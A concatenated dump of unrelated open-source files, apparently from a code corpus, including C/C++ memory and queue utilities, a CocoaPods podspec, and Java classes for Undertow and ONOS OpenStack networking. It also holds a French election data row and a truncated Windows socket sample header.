StackTraceHolder::AttachStack(error.As<v8::Object>(), stack_trace);
}
Unmaybe(promise_local->Reject(context_local, error));
});
return promise_local->GetPromise();
} else if (async == 2) { // Async, promise ignored
// Schedule Phase2 async
second_isolate.ScheduleTask(
std::make_unique<Phase2RunnerIgnored>(
std::make_unique<T>(std::forward<Args>(args)...) // <-- Phase1 / ctor called here
), false, true
);
return v8::Undefined(v8::Isolate::GetCurrent());
} else {
// Execute synchronously
T self(std::forward<Args>(args)...);
return self.RunSync(second_isolate, async == 4);
}
}
};
} // namespace ivm
| 1,705 |
27,296 | // Copyright (c) 2014 <NAME> <<EMAIL>>
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell co
// pies of the Software, and to permit persons to whom the Software is furnished
// to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in al
// l copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IM
// PLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNES
// S FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
// OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WH
// ETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#ifndef CONTENT_NW_SRC_API_EVENT_EVENT_H_
#define CONTENT_NW_SRC_API_EVENT_EVENT_H_
#include "base/basictypes.h"
#include "content/nw/src/api/base/base.h"
#include "ui/gfx/display_observer.h"
#include <map>
namespace nwapi {
class BaseEvent {
friend class EventListener;
DISALLOW_COPY_AND_ASSIGN(BaseEvent);
protected:
BaseEvent(){}
virtual ~BaseEvent(){}
};
class EventListener : public Base {
std::map<int, BaseEvent*> listerners_;
public:
EventListener(int id,
const base::WeakPtr<DispatcherHost>& dispatcher_host,
const base::DictionaryValue& option);
~EventListener() override;
static int getUID() {
static int id = 0;
return ++id;
}
template<typename T> T* AddListener() {
std::map<int, BaseEvent*>::iterator i = listerners_.find(T::id);
if (i==listerners_.end()) {
T* listener_object = new T(this);
listerners_[T::id] = listener_object;
return listener_object;
}
return NULL;
}
template<typename T> bool RemoveListener() {
std::map<int, BaseEvent*>::iterator i = listerners_.find(T::id);
if (i!=listerners_.end()) {
delete i->second;
listerners_.erase(i);
return true;
}
return false;
}
private:
DISALLOW_COPY_AND_ASSIGN(EventListener);
};
} // namespace nwapi
#endif //CONTENT_NW_SRC_API_EVENT_EVENT_H_
| 873 |
348 | {"nom":"Lanrigan","circ":"2รจme circonscription","dpt":"Ille-et-Vilaine","inscrits":107,"abs":55,"votants":52,"blancs":3,"nuls":1,"exp":48,"res":[{"nuance":"MDM","nom":"<NAME>","voix":31},{"nuance":"LR","nom":"<NAME>","voix":17}]} | 95 |
448 | <gh_stars>100-1000
#include <sys/sysinfo.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include "linux_utils.h"
#define LOG_TAG "linux_utils"
//#include "utils/frame_work_log.h"
typedef struct {
size_t size; /* total program size */
size_t resident; /* resident set size */
size_t share; /* shared pages (i.e., backed by a file) */
size_t text; /* text (code) */
size_t lib; /* library (unused in Linux 2.6 */
size_t data; /* data + stack */
size_t dt; /* dirty pages (unused in Linux 2.6 */
size_t pagesize; /* pagesize */
} statm;
static FILE *procMeminfoFP = NULL;
// Can't use rewind
static int procstatm (statm *usage)
{
FILE *fd;
usage->pagesize = 4096;//getpagesize();
if ((fd = fopen("/proc/self/statm", "r")) == NULL) {
// AF_LOGW("Can't open statm file");
return -1;
}
if (fscanf(fd, "%zu %zu %zu %zu %zu %zu %zu",
&(usage->size),
&(usage->resident),
&(usage->share),
&(usage->text),
&(usage->lib),
&(usage->data),
&(usage->dt)) != 7) {
// AF_LOGE("scanf error\n");
fclose(fd);
return -1;
};
fclose(fd);
return 0;
}
#ifdef ANDROID
static int32_t android_lowmemkillersize[6] = {0,};
#define FOREGROUD_APP 0
#define VISIBLE_APP 1
#define SECONDARY_SERVER 2
#define HOME_APP 4
#define HIDDEN_APP 7
#define CONTENT_PROVIDER 14
#define EMPTY_APP 15
int64_t android_get_low_mem(int level)
{
char *path = "/sys/module/lowmemorykiller/parameters/minfree";
FILE *fd;
uint64_t size[6] = {0,};
int lev[6] = {FOREGROUD_APP, VISIBLE_APP, SECONDARY_SERVER,
HIDDEN_APP, CONTENT_PROVIDER, EMPTY_APP
};
int i = 0;
if (android_lowmemkillersize[0] == 0) {
if ((fd = fopen(path, "r")) == NULL) {
// AF_LOGW("Can't open file %s\n",path);
return -1;
}
if (fscanf(fd, "%" PRId32 ",%" PRId32 ",%" PRId32 ",%" PRId32 ",%" PRId32 ",%" PRId32 "",
&(android_lowmemkillersize[0]),
&(android_lowmemkillersize[1]),
&(android_lowmemkillersize[2]),
&(android_lowmemkillersize[3]),
&(android_lowmemkillersize[4]),
&(android_lowmemkillersize[5])) != 6) {
// AF_LOGE("scanf error\n");
fclose(fd);
return -1;
};
fclose(fd);
}
for (i = 0; i < 6; i++)
if (level == lev[i])
return (int64_t)android_lowmemkillersize[i] * 4096;
return -1;
}
#endif
int get_system_meminfo(mem_info *pInfo)
{
struct sysinfo info;
char name[32];
unsigned val;
int ret;
if (!procMeminfoFP && (procMeminfoFP = fopen("/proc/meminfo", "r")) == NULL)
sysinfo(&info);
else {
memset(&info, 0, sizeof(struct sysinfo));
info.mem_unit = 4096;
// unsigned long sharedram = 0;
// unsigned long
while (fscanf(procMeminfoFP, "%31s %u%*[^\n]\n", name, &val) != EOF) {
if (strncmp("MemTotal:", name, 9) == 0)
info.totalram = val / 4;
else if (strncmp("MemFree:", name, 8) == 0)
info.freeram = val / 4;
else if (strncmp("Buffers:", name, 8) == 0)
info.bufferram += val / 4;
else if (strncmp("Cached:", name, 7) == 0)
info.bufferram += val / 4;
else if (strncmp("SwapTotal:", name, 10) == 0)
info.totalswap = val / 4;
else if (strncmp("SwapFree:", name, 9) == 0)
info.freeswap = val / 4;
else if (strncmp("HighTotal:", name, 10) == 0)
info.totalhigh = val / 4;
else if (strncmp("HighFree:", name, 9) == 0)
info.freehigh = val / 4;
else if (strncmp("SwapCached:", name, 11) == 0) {
info.bufferram -= val / 4;
} else if (strncmp("Shmem:", name, 6) == 0) {
info.bufferram -= val / 4;
}
}
rewind(procMeminfoFP);
fflush(procMeminfoFP);
}
pInfo->system_totalram = (uint64_t)(info.totalram * info.mem_unit);
pInfo->system_availableram = (uint64_t)((info.freeram + info.bufferram) * info.mem_unit);
pInfo->system_freeram = (uint64_t)(info.freeram * info.mem_unit);
// pInfo->dwLength = sizeof(MEMORYSTATUSEX);
// pInfo->ullAvailPageFile = (info.freeswap * info.mem_unit);
// pInfo->ullAvailPhys = ((info.freeram + info.bufferram) * info.mem_unit);
// pInfo->ullAvailVirtual = ((info.freeram + info.bufferram) * info.mem_unit);
// pInfo->ullTotalPhys = (info.totalram * info.mem_unit);
// pInfo->ullTotalVirtual = (info.totalram * info.mem_unit);
statm usage = {0,};
ret = procstatm(&usage);
// if (ret < 0)
// return -1;
pInfo->self_useram = (uint64_t)usage.resident * usage.pagesize;
return 0;
} | 2,572 |
876 | #include <collection.h>
int queue_init(struct queue *queue, size_t element_size, size_t max_queue_size) {
memset(queue, 0, sizeof(*queue));
queue->start_index = 0;
queue->length = 0;
queue->size = 2;
queue->elements = calloc(2, element_size);
queue->max_queue_size = max_queue_size;
queue->element_size = element_size;
if (queue->elements == NULL) {
queue->size = 0;
return ENOMEM;
}
return 0;
}
int queue_deinit(struct queue *queue) {
if (queue->elements != NULL) {
free(queue->elements);
}
queue->start_index = 0;
queue->length = 0;
queue->size = 0;
queue->elements = NULL;
queue->max_queue_size = 0;
queue->element_size = 0;
return 0;
}
int queue_enqueue(
struct queue *queue,
const void *p_element
) {
size_t new_size;
if (queue->size == queue->length) {
// expand the queue or wait for an element to be dequeued.
new_size = queue->size ? (queue->size << 1) : 1;
if (new_size < queue->max_queue_size) {
void *new_elements = realloc(queue->elements, new_size * queue->element_size);
if (new_elements == NULL) {
return ENOMEM;
}
if (queue->size) {
memcpy(((char*)new_elements) + (queue->element_size*queue->size), new_elements, queue->element_size*queue->size);
}
queue->elements = new_elements;
queue->size = new_size;
} else {
return ENOSPC;
}
}
memcpy(
((char*) queue->elements) + (queue->element_size*((queue->start_index + queue->length) & (queue->size - 1))),
p_element,
queue->element_size
);
queue->length++;
return 0;
}
int queue_dequeue(
struct queue *queue,
void *element_out
) {
if (queue->length == 0) {
return EAGAIN;
}
memcpy(
element_out,
((char*) queue->elements) + (queue->element_size*queue->start_index),
queue->element_size
);
queue->start_index = (queue->start_index + 1) & (queue->size - 1);
queue->length--;
return 0;
}
int queue_peek(
struct queue *queue,
void **pelement_out
) {
if (queue->length == 0) {
if (pelement_out != NULL) {
*pelement_out = NULL;
}
return EAGAIN;
}
if (pelement_out != NULL) {
*pelement_out = ((char*) queue->elements) + (queue->element_size*queue->start_index);
}
return 0;
}
int cqueue_init(
struct concurrent_queue *queue,
size_t element_size,
size_t max_queue_size
) {
int ok;
memset(queue, 0, sizeof(*queue));
ok = queue_init(&queue->queue, element_size, max_queue_size);
if (ok != 0) {
return ok;
}
pthread_mutex_init(&queue->mutex, NULL);
pthread_cond_init(&queue->is_enqueueable, NULL);
pthread_cond_init(&queue->is_dequeueable, NULL);
return 0;
}
int cqueue_deinit(struct concurrent_queue *queue) {
queue_deinit(&queue->queue);
pthread_mutex_destroy(&queue->mutex);
pthread_cond_destroy(&queue->is_enqueueable);
pthread_cond_destroy(&queue->is_dequeueable);
}
int cqueue_try_enqueue_locked(
struct concurrent_queue *queue,
const void *p_element
) {
return queue_enqueue(&queue->queue, p_element);
}
int cqueue_enqueue_locked(
struct concurrent_queue *queue,
const void *p_element
) {
int ok;
while (ok = queue_enqueue(&queue->queue, p_element), ok == ENOSPC) {
ok = pthread_cond_wait(&queue->is_enqueueable, &queue->mutex);
if (ok != 0) {
return ok;
}
}
return ok;
}
int cqueue_try_enqueue(
struct concurrent_queue *queue,
const void *p_element
) {
int ok;
cqueue_lock(queue);
ok = cqueue_try_enqueue_locked(queue, p_element);
if (ok != 0) {
cqueue_unlock(queue);
return ok;
}
cqueue_unlock(queue);
pthread_cond_signal(&queue->is_dequeueable);
return 0;
}
int cqueue_enqueue(
struct concurrent_queue *queue,
const void *p_element
) {
int ok;
cqueue_lock(queue);
ok = cqueue_enqueue_locked(queue, p_element);
if (ok != 0) {
cqueue_unlock(queue);
return ok;
}
cqueue_unlock(queue);
pthread_cond_signal(&queue->is_dequeueable);
return 0;
}
int cqueue_try_dequeue_locked(
struct concurrent_queue *queue,
void *element_out
) {
int ok;
ok = queue_dequeue(&queue->queue, element_out);
if (ok == 0) {
pthread_cond_signal(&queue->is_enqueueable);
}
}
int cqueue_dequeue_locked(
struct concurrent_queue *queue,
void *element_out
) {
int ok;
while (ok = queue_dequeue(&queue->queue, element_out), ok == EAGAIN) {
pthread_cond_wait(&queue->is_dequeueable, &queue->mutex);
}
if (ok == 0) {
pthread_cond_signal(&queue->is_enqueueable);
}
return ok;
}
int cqueue_try_dequeue(
struct concurrent_queue *queue,
void *element_out
) {
int ok;
cqueue_lock(queue);
ok = cqueue_try_dequeue_locked(queue, element_out);
cqueue_unlock(queue);
return ok;
}
int cqueue_dequeue(
struct concurrent_queue *queue,
void *element_out
) {
int ok;
cqueue_lock(queue);
ok = cqueue_dequeue_locked(queue, element_out);
cqueue_unlock(queue);
return ok;
}
int cqueue_peek_locked(
struct concurrent_queue *queue,
void **pelement_out
) {
return queue_peek(&queue->queue, pelement_out);
}
int pset_init(
struct pointer_set *set,
size_t max_size
) {
void **storage = (void**) calloc(2, sizeof(void*));
if (storage == NULL) {
return ENOMEM;
}
memset(set, 0, sizeof(*set));
set->count_pointers = 0;
set->size = 2;
set->pointers = storage;
set->max_size = max_size;
set->is_static = false;
return 0;
}
int pset_init_static(
struct pointer_set *set,
void **storage,
size_t size
) {
if (storage == NULL) {
return EINVAL;
}
memset(set, 0, sizeof *set);
set->count_pointers = 0;
set->size = size;
set->pointers = storage;
set->max_size = size;
set->is_static = true;
return 0;
}
void pset_deinit(
struct pointer_set *set
) {
if ((set->is_static == false) && (set->pointers != NULL)) {
free(set->pointers);
}
set->count_pointers = 0;
set->size = 0;
set->pointers = NULL;
set->max_size = 0;
set->is_static = false;
}
int pset_put(
struct pointer_set *set,
void *pointer
) {
size_t new_size;
int index;
index = -1;
for (int i = 0; i < set->size; i++) {
if (set->pointers[i] == NULL) {
index = i;
} else if (pointer == set->pointers[i]) {
return 0;
}
}
if (index != -1) {
set->pointers[index] = pointer;
set->count_pointers++;
return 0;
}
if (set->is_static) {
return ENOSPC;
} else {
new_size = set->size ? set->size << 1 : 1;
if (new_size < set->max_size) {
void **new_pointers = (void**) realloc(set->pointers, new_size * sizeof(void*));
if (new_pointers == NULL) {
return ENOMEM;
}
memset(new_pointers + set->size, 0, (new_size - set->size) * sizeof(void*));
new_pointers[set->size] = pointer;
set->count_pointers++;
set->pointers = new_pointers;
set->size = new_size;
} else {
return ENOSPC;
}
}
return 0;
}
bool pset_contains(
const struct pointer_set *set,
const void *pointer
) {
for (int i = 0; i < set->size; i++) {
if ((set->pointers[i] != NULL) && (set->pointers[i] == pointer)) {
return true;
}
}
return false;
}
int pset_remove(
struct pointer_set *set,
const void *pointer
) {
for (int i = 0; i < set->size; i++) {
if ((set->pointers[i] != NULL) && (set->pointers[i] == pointer)) {
set->pointers[i] = NULL;
set->count_pointers--;
return 0;
}
}
return EINVAL;
}
int pset_copy(
const struct pointer_set *src,
struct pointer_set *dest
) {
if (dest->size < src->count_pointers) {
if (dest->max_size < src->count_pointers) {
return ENOSPC;
} else {
void *new_pointers = realloc(dest->pointers, src->count_pointers);
if (new_pointers == NULL) {
return ENOMEM;
}
dest->pointers = new_pointers;
dest->size = src->count_pointers;
}
}
if (dest->size >= src->size) {
memcpy(dest->pointers, src->pointers, src->size * sizeof(void*));
if (dest->size > src->size) {
memset(dest->pointers + src->size, 0, (dest->size - src->size) * sizeof(void*));
}
} else {
for (int i = 0, j = 0; i < src->size; i++) {
if (src->pointers[i] != NULL) {
dest->pointers[j] = src->pointers[i];
j++;
}
}
}
dest->count_pointers = src->count_pointers;
}
void pset_intersect(
struct pointer_set *src_dest,
const struct pointer_set *b
) {
for (int i = 0, j = 0; (i < src_dest->size) && (j < src_dest->count_pointers); i++) {
if (src_dest->pointers[i] != NULL) {
if (pset_contains(b, src_dest->pointers[i]) == false) {
src_dest->pointers[i] = NULL;
src_dest->count_pointers--;
} else {
j++;
}
}
}
}
int pset_union(
struct pointer_set *src_dest,
const struct pointer_set *b
) {
int ok;
for (int i = 0, j = 0; (i < b->size) && (j < b->size); i++) {
if (b->pointers[i] != NULL) {
ok = pset_put(src_dest, b->pointers[i]);
if (ok != 0) {
return ok;
}
j++;
}
}
return 0;
}
void *__pset_next_pointer(
struct pointer_set *set,
const void *pointer
) {
int i = -1;
if (pointer != NULL) {
for (i = 0; i < set->size; i++) {
if (set->pointers[i] == pointer) {
break;
}
}
if (i == set->size) return NULL;
}
for (i = i+1; i < set->size; i++) {
if (set->pointers[i]) {
return set->pointers[i];
}
}
return NULL;
}
int cpset_init(
struct concurrent_pointer_set *set,
size_t max_size
) {
int ok;
ok = pset_init(&set->set, max_size);
if (ok != 0) {
return ok;
}
ok = pthread_mutex_init(&set->mutex, NULL);
if (ok < 0) {
return errno;
}
return 0;
}
void cpset_deinit(struct concurrent_pointer_set *set) {
pthread_mutex_destroy(&set->mutex);
pset_deinit(&set->set);
} | 4,133 |
5,169 | <reponame>Gantios/Specs<gh_stars>1000+
{
"name": "C8oSDK",
"module_name": "C8o",
"version": "2.4.0",
"authors": "Convertigo",
"license": "Apache License 2.0",
"summary": "Convertigo client SDK for iOS.",
"description": "Convertigo Client SDK is a set of native libraries used by iOS applications to access Convertigo mBaaS services.\nAn application using the SDK can easily access Convertigo services such as Sequences and Transactions.\n\nEnterprises will use the Client SDK to abstract the programmer from handling the communication protocols, local cache, FullSync offline data management, UI thread management and remote logging.\nSo the developer can focus on building the application.",
"homepage": "http://www.convertigo.com/convertigo-sdk/",
"source": {
"git": "https://github.com/convertigo/c8osdk-ios.git",
"tag": "2.4.0"
},
"platforms": {
"ios": "10.0"
},
"source_files": [
"C8oSDKiOS/*.swift",
"C8oSDKiOS/Internal/*.swift"
],
"static_framework": true,
"script_phases": {
"name": "Hello World",
"script": "echo \"C8oSDK: Add umbrella header for CBL dependency\" && [ ! -d \"./couchbase-lite-ios/Couchbaselite.framework/Modules\" ] && mkdir ./couchbase-lite-ios/Couchbaselite.framework/Modules || echo \"path already exists\" && touch ./couchbase-lite-ios/Couchbaselite.framework/Modules/module.modulemap && echo 'framework module CouchbaseLite { module All { umbrella header \"../Headers/CouchbaseLite.h\" export * module * { export * }} module JSView { umbrella header \"../../Extras/CBLRegisterJSViewCompiler.h\" export * module * { export * }}}' > ./couchbase-lite-ios/Couchbaselite.framework/Modules/module.modulemap",
"execution_position": "before_compile"
},
"swift_versions": "5.0",
"dependencies": {
"SwiftyJSON": [
"5.0.0"
],
"Alamofire": [
"5.2.1"
],
"AEXML": [
"4.5.0"
],
"couchbase-lite-ios": [
"1.4.4"
],
"couchbase-lite-ios/ForestDB": [
"1.4.4"
]
},
"swift_version": "5.0"
}
| 775 |
2,869 | /*
* JBoss, Home of Professional Open Source.
* Copyright 2014 Red Hat, Inc., and individual contributors
* as indicated by the @author tags.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.undertow.websockets.jsr;
import java.util.Deque;
import java.util.concurrent.ConcurrentLinkedDeque;
import java.util.concurrent.Executor;
import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
/**
* Executor that executes tasks in the order they are submitted, using at most one thread at a time.
*
* @author <NAME>
*/
public class OrderedExecutor implements Executor {
private final Deque<Runnable> tasks = new ConcurrentLinkedDeque<>();
private final Executor delegate;
private final ExecutorTask task = new ExecutorTask();
private volatile int state = 0;
private static final AtomicIntegerFieldUpdater<OrderedExecutor> stateUpdater = AtomicIntegerFieldUpdater.newUpdater(OrderedExecutor.class, "state");
private static final int STATE_NOT_RUNNING = 0;
private static final int STATE_RUNNING = 1;
public OrderedExecutor(Executor delegate) {
this.delegate = delegate;
}
@Override
public void execute(Runnable command) {
tasks.add(command);
if (stateUpdater.get(this) == STATE_NOT_RUNNING) {
delegate.execute(task);
}
}
private final class ExecutorTask implements Runnable {
@Override
public void run() {
do {
//if there is no thread active then we run
if (stateUpdater.compareAndSet(OrderedExecutor.this, STATE_NOT_RUNNING, STATE_RUNNING)) {
Runnable task = tasks.poll();
//while the queue is not empty we process in order
while (task != null) {
try {
task.run();
} catch (Throwable e) {
JsrWebSocketLogger.REQUEST_LOGGER.exceptionInWebSocketMethod(e);
}
task = tasks.poll();
}
//set state back to not running.
stateUpdater.set(OrderedExecutor.this, STATE_NOT_RUNNING);
} else {
return;
}
//we loop again based on tasks not being empty. Otherwise there is a window where the state is running,
//but poll() has returned null, so a submitting thread will believe that it does not need re-execute.
//this check fixes the issue
} while (!tasks.isEmpty());
}
}
}
| 1,273 |
1,091 | /*
* Copyright 2019-present Open Networking Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.onosproject.openstacknetworking.cli;
import org.apache.karaf.shell.api.action.Command;
import org.apache.karaf.shell.api.action.Option;
import org.apache.karaf.shell.api.action.lifecycle.Service;
import org.onosproject.cli.AbstractShellCommand;
import org.onosproject.openstacknetworking.api.OpenstackNetworkAdminService;
import org.onosproject.openstacknetworking.api.OpenstackRouterAdminService;
import org.onosproject.openstacknetworking.api.OpenstackSecurityGroupAdminService;
import org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil;
import org.onosproject.openstacknode.api.OpenstackNode;
import org.onosproject.openstacknode.api.OpenstackNodeService;
import org.openstack4j.api.OSClient;
import org.openstack4j.model.common.IdEntity;
import org.openstack4j.model.network.NetFloatingIP;
import org.openstack4j.model.network.RouterInterface;
import java.util.HashMap;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import java.util.stream.Collectors;
import static org.onosproject.openstacknetworking.api.Constants.FLOATING_IP_FORMAT;
import static org.onosproject.openstacknetworking.api.Constants.NETWORK_FORMAT;
import static org.onosproject.openstacknetworking.api.Constants.PORT_FORMAT;
import static org.onosproject.openstacknetworking.api.Constants.ROUTER_FORMAT;
import static org.onosproject.openstacknetworking.api.Constants.ROUTER_INTF_FORMAT;
import static org.onosproject.openstacknetworking.api.Constants.SECURITY_GROUP_FORMAT;
import static org.onosproject.openstacknetworking.api.Constants.SUBNET_FORMAT;
import static org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil.printFloatingIp;
import static org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil.printNetwork;
import static org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil.printPort;
import static org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil.printRouter;
import static org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil.printRouterIntf;
import static org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil.printSecurityGroup;
import static org.onosproject.openstacknetworking.util.OpenstackNetworkingUtil.printSubnet;
import static org.onosproject.openstacknode.api.OpenstackNode.NodeType.CONTROLLER;
/**
* Compares cached network state diff against neutron database.
*/
@Service
@Command(scope = "onos", name = "openstack-diff-state",
description = "Compares cached network state with neutron database.")
public class OpenstackDiffStateCommand extends AbstractShellCommand {
private static final String HTTP_HEADER_ACCEPT = "accept";
private static final String HTTP_HEADER_VALUE_JSON = "application/json";
@Option(name = "-s", aliases = "--show",
description = "Shows the differences between cached network state with neutron database.",
required = false, multiValued = false)
private boolean show = false;
@Option(name = "-c", aliases = "--clear",
description = "Clears the differences between cached network state with neutron database.",
required = false, multiValued = false)
private boolean clear = false;
@Override
protected void doExecute() {
OpenstackSecurityGroupAdminService osSgService =
get(OpenstackSecurityGroupAdminService.class);
OpenstackNetworkAdminService osNetService =
get(OpenstackNetworkAdminService.class);
OpenstackRouterAdminService osRouterService =
get(OpenstackRouterAdminService.class);
OpenstackNodeService osNodeService = get(OpenstackNodeService.class);
Map<String, String> headerMap = new HashMap<>();
headerMap.put(HTTP_HEADER_ACCEPT, HTTP_HEADER_VALUE_JSON);
Optional<OpenstackNode> node = osNodeService.nodes(CONTROLLER).stream().findFirst();
if (!node.isPresent()) {
error("Keystone auth info has not been configured. " +
"Please specify auth info via network-cfg.json.");
return;
}
OSClient osClient = OpenstackNetworkingUtil.getConnectedClient(node.get());
if (osClient == null) {
return;
}
if (!clear) {
show = true;
}
if (show && clear) {
error("Either --show (-s) or --clear (-c) option should be specified.");
}
if (show) {
print("\nComparing OpenStack floating IPs");
} else if (clear) {
print("\nClearing OpenStack floating IPs");
}
Set<String> cachedFips = osRouterService.floatingIps().stream()
.map(NetFloatingIP::getId).collect(Collectors.toSet());
Set<String> osFips = osClient.headers(headerMap).networking()
.floatingip().list().stream().map(NetFloatingIP::getId)
.collect(Collectors.toSet());
print(FLOATING_IP_FORMAT, "ID", "Floating IP", "Fixed IP");
getDiff(cachedFips, osFips).forEach(fipId -> {
printFloatingIp(osRouterService.floatingIp(fipId));
if (clear) {
osRouterService.removeFloatingIp(fipId);
}
});
Set<String> cachedPorts = osNetService.ports().stream()
.map(IdEntity::getId).collect(Collectors.toSet());
Set<String> osPorts = osClient.headers(headerMap).networking()
.port().list().stream().map(IdEntity::getId)
.collect(Collectors.toSet());
if (show) {
print("\nComparing OpenStack router interfaces");
} else if (clear) {
print("\nClearing OpenStack router interfaces");
}
print(ROUTER_INTF_FORMAT, "ID", "Tenant ID", "Subnet ID");
getDiff(cachedPorts, osPorts).forEach(portId -> {
RouterInterface ri = osRouterService.routerInterface(portId);
if (ri != null) {
printRouterIntf(ri);
if (clear) {
osRouterService.removeRouterInterface(portId);
}
}
});
if (show) {
print("\nComparing OpenStack ports");
} else if (clear) {
print("\nClearing OpenStack ports");
}
print(PORT_FORMAT, "ID", "Network", "MAC", "Fixed IPs");
getDiff(cachedPorts, osPorts).forEach(portId -> {
printPort(osNetService.port(portId), osNetService);
if (clear) {
osNetService.removePort(portId);
}
});
if (show) {
print("\nComparing OpenStack routers");
} else if (clear) {
print("\nClearing OpenStack routers");
}
Set<String> cachedRouters = osRouterService.routers().stream()
.map(IdEntity::getId).collect(Collectors.toSet());
Set<String> osRouters = osClient.headers(headerMap).networking()
.router().list().stream().map(IdEntity::getId)
.collect(Collectors.toSet());
print(ROUTER_FORMAT, "ID", "Name", "External", "Internal");
getDiff(cachedRouters, osRouters).forEach(routerId -> {
printRouter(osRouterService.router(routerId), osNetService);
if (clear) {
osRouterService.removeRouter(routerId);
}
});
if (show) {
print("\nComparing OpenStack subnets");
} else if (clear) {
print("\nClearing OpenStack subnets");
}
Set<String> cachedSubnets = osNetService.subnets().stream()
.map(IdEntity::getId).collect(Collectors.toSet());
Set<String> osSubnets = osClient.headers(headerMap).networking()
.subnet().list().stream().map(IdEntity::getId)
.collect(Collectors.toSet());
print(SUBNET_FORMAT, "ID", "Network", "CIDR");
getDiff(cachedSubnets, osSubnets).forEach(subnetId -> {
printSubnet(osNetService.subnet(subnetId), osNetService);
if (clear) {
osNetService.removeSubnet(subnetId);
}
});
if (show) {
print("\nComparing OpenStack networks");
} else if (clear) {
print("\nClearing OpenStack networks");
}
Set<String> cachedNets = osNetService.networks().stream()
.map(IdEntity::getId).collect(Collectors.toSet());
Set<String> osNets = osClient.headers(headerMap).networking()
.network().list().stream().map(IdEntity::getId)
.collect(Collectors.toSet());
print(NETWORK_FORMAT, "ID", "Name", "VNI", "Subnets");
getDiff(cachedNets, osNets).forEach(netId -> {
printNetwork(osNetService.network(netId));
if (clear) {
osNetService.removeNetwork(netId);
}
});
if (show) {
print("\nComparing OpenStack security groups");
} else if (clear) {
print("\nClearing OpenStack security groups");
}
Set<String> cachedSgs = osSgService.securityGroups().stream()
.map(IdEntity::getId).collect(Collectors.toSet());
Set<String> osSgs = osClient.headers(headerMap).networking()
.securitygroup().list().stream().map(IdEntity::getId)
.collect(Collectors.toSet());
print(SECURITY_GROUP_FORMAT, "ID", "Name");
getDiff(cachedSgs, osSgs).forEach(sgId -> {
printSecurityGroup(osSgService.securityGroup(sgId));
if (clear) {
osSgService.removeSecurityGroup(sgId);
}
});
}
private Set<String> getDiff(Set<String> orig, Set<String> comp) {
return orig.stream().filter(id -> !comp.contains(id))
.collect(Collectors.toSet());
}
}
| 4,337 |
2,504 | <filename>Samples/StreamSocket/cpp/Scenario1.xaml.h
๏ปฟ//*********************************************************
//
// Copyright (c) Microsoft. All rights reserved.
// This code is licensed under the MIT License (MIT).
// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY
// IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR
// PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.
//
//*********************************************************
//
// Scenario1.xaml.h
// Declaration of the Scenario1 class
//
#pragma once
#include "pch.h"
#include "Scenario1.g.h"
#include "MainPage.xaml.h"
namespace SDKTemplate
{
namespace StreamSocketSample
{
[Windows::Foundation::Metadata::WebHostHidden]
// In c++, adding this attribute to ref classes enables data binding.
// For more info search for 'Bindable' on the page http://go.microsoft.com/fwlink/?LinkId=254639
[Windows::UI::Xaml::Data::Bindable]
public ref class LocalHostItem sealed
{
public:
LocalHostItem(Windows::Networking::HostName^ localHostName);
property Platform::String^ DisplayString { Platform::String^ get() { return displayString; } }
property Windows::Networking::HostName^ LocalHost { Windows::Networking::HostName^ get() { return localHost; } }
private:
Platform::String^ displayString;
Windows::Networking::HostName^ localHost;
};
/// <summary>
/// An empty page that can be used on its own or navigated to within a Frame.
/// </summary>
[Windows::Foundation::Metadata::WebHostHidden]
public ref class Scenario1 sealed
{
public:
Scenario1();
protected:
virtual void OnNavigatedTo(Windows::UI::Xaml::Navigation::NavigationEventArgs^ e) override;
private:
MainPage^ rootPage;
// Vector containing all available local HostName endpoints.
Platform::Collections::Vector<LocalHostItem^>^ localHostItems;
void StartListener_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);
void BindToAny_Checked(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);
void BindToAny_Unchecked(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);
void PopulateAdapterList();
};
[Windows::Foundation::Metadata::WebHostHidden]
public ref class ListenerContext sealed
{
public:
ListenerContext(MainPage^ rootPage, Windows::Networking::Sockets::StreamSocketListener^ listener);
void OnConnection(
Windows::Networking::Sockets::StreamSocketListener^ listener,
